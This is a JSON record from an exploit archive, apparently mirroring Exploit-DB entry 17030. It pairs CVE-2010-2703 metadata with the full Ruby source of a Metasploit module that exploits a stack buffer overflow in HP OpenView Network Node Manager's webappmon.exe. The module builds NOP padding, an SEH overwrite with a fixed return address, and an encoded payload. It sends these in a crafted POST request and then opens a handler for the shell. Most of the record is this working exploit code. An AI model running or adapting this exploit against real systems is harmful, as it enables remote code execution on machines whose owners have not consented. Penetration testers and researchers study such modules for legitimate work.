{"exploit":{"id":"EDB-17030","name":"HP Network Node Manager (NMM) - CGI 'webappmon.exe execvp' Remote Buffer Overflow (Metasploit)","description":"HP Network Node Manager (NMM) - CGI 'webappmon.exe execvp' Remote Buffer Overflow (Metasploit)","cves":["CVE-2010-2703"],"author":"Metasploit","published":"2011-03-23","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17030","path":"exploits/windows/remote/17030.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17030.rb","vulnerabilities":[{"id":"CVE-2010-2703","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the execvp_nc function in the ov.dll module in HP OpenView Network Node Manager (OV NNM) 7.51 and 7.53, when running on Windows, allows remote attackers to execute arbitrary code via a long HTTP request to webappmon.exe.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-2703","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-2703"},"updatedAt":"2024-08-07T02:39:38.239Z","retrievedAt":"2026-11-27T12:51:19.431Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17030.png?v=2","url":"https://exploitbin.com/exploits/EDB-17030","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17030/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17030/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\tinclude Msf::Exploit::Remote::Seh\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'        => \"HP NNM CGI webappmon.exe execvp Buffer Overflow\",\n\t\t\t'Description' => %q{\n\t\t\t\tThis module exploits a buffer overflow in HP NNM's webappmon.exe.\n\t\t\t\tThe vulnerability occurs when function \"execvp_nc\" fails to do any bounds-\n\t\t\t\tchecking before strcat is used to append user-supplied input to a buffer.\n\t\t\t},\n\t\t\t'License'\t  => MSF_LICENSE,\n\t\t\t'Version'\t  => \"$Revision: 12086 $\",\n\t\t\t'Author'      =>\n\t\t\t\t[\n\t\t\t\t\t'shahin <shahin[at]abysssec.com>',\n\t\t\t\t\t'sinn3r',\n\t\t\t\t],\n\t\t\t'References' =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2010-2703'],\n\t\t\t\t\t['OSVDB', '66514'],\n\t\t\t\t],\n\t\t\t'Payload'\t =>\n\t\t\t\t{\n\t\t\t\t\t'BadChars' => [*(0x00..0x09)].pack(\"C*\") + [*(0x0a..0x0f)].pack(\"C*\") + [*(0x10..0x1f)].pack(\"C*\") + \"\\x7f\",\n\t\t\t\t\t'EncoderType' => Msf::Encoder::Type::AlphanumMixed,\n\t\t\t\t\t'EncoderOptions' => {'BufferRegister'=>'ECX'},\n\t\t\t\t},\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'ExitFunction' => \"seh\",\n\t\t\t\t\t'AutoRunScript' => 'migrate -f',\n\t\t\t\t},\n\t\t\t'Platform' => 'win',\n\t\t\t'Targets'\t =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => \"SEP 6 2010\"))\n\n\t\t\tregister_options(\n\t\t\t\t[\n\t\t\t\t\tOpt::RPORT(80),\n\t\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tnops = make_nops(1000)*10\n\n\t\tsploit = nops[0, 5455]\n\t\tsploit << generate_seh_record(target.ret)\n\t\tsploit << \"\\x61\"*13\n\t\tsploit << \"\\x51\"\n\t\tsploit << \"\\xc3\"\n\t\tsploit << nops[0, 57]\n\t\tsploit << payload.encoded\n\t\tsploit << nops[0, 10000-sploit.length]\n\n\t\tpost_data = \"ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1\"\n\n\t\tconnect\n\n\t\tprint_status(\"Sending malicious request...\")\n\t\tsend_request_raw({\n\t\t\t'uri' => '/OvCgi/webappmon.exe',\n\t\t\t'data' => post_data,\n\t\t\t'version' => '1.1',\n\t\t\t'method' => 'POST',\n\t\t\t'headers' => {\n\t\t\t\t'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n\t\t\t\t'Accept-Language' => 'en-us,en;q=0.5',\n\t\t\t\t'Accept-Encoding' => 'gzip,deflate',\n\t\t\t\t'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',\n\t\t\t\t'Keep-Alive' => '300',\n\t\t\t\t'Connection' => 'Keep-Alive',\n\t\t\t\t'Cache-Control' => 'max-age=0',\n\t\t\t\t'Content-Length' => post_data.length,\n\t\t\t\t'Content-Type' => 'application/x-www-form-urlencoded',\n\t\t\t}\n\t\t}, 3)\n\n\t\thandler\n\t\tdisconnect\n\n\tend\nend","sha256":"bf5a083c853de0a9689a85f8964a561ceaf21211433507a6060dcd2fcafba338","bytes":2757,"fetchedAt":"2026-11-27T18:10:08.671Z","encoding":"utf-8 (display only; download retains original bytes)"}